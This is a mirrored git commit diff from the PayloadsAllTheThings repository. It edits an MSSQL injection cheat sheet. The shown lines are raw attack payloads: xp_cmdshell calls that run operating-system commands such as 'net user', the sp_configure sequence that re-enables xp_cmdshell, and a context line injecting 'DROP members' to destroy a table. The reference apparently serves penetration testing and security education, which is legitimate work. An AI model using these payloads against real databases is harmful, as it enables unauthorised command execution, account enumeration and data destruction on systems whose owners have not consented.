mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-02-20 13:46:05 +00:00
Update MSSQL Command execution
This commit is contained in:
parent
20bf52eb6a
commit
7068cb6edc
@ -124,17 +124,17 @@ ProductID=1; DROP members--
|
|||||||
|
|
||||||
```sql
|
```sql
|
||||||
EXEC xp_cmdshell "net user";
|
EXEC xp_cmdshell "net user";
|
||||||
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
|
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
|
||||||
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'
|
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
|
||||||
```
|
```
|
||||||
|
|
||||||
If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
|
If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
EXEC sp_configure 'show advanced options',1
|
EXEC sp_configure 'show advanced options',1;
|
||||||
RECONFIGURE
|
RECONFIGURE;
|
||||||
EXEC sp_configure 'xp_cmdshell',1
|
EXEC sp_configure 'xp_cmdshell',1;
|
||||||
RECONFIGURE
|
RECONFIGURE;
|
||||||
```
|
```
|
||||||
|
|
||||||
## MSSQL Make user DBA (DB admin)
|
## MSSQL Make user DBA (DB admin)
|
||||||
|
Loading…
Reference in New Issue
Block a user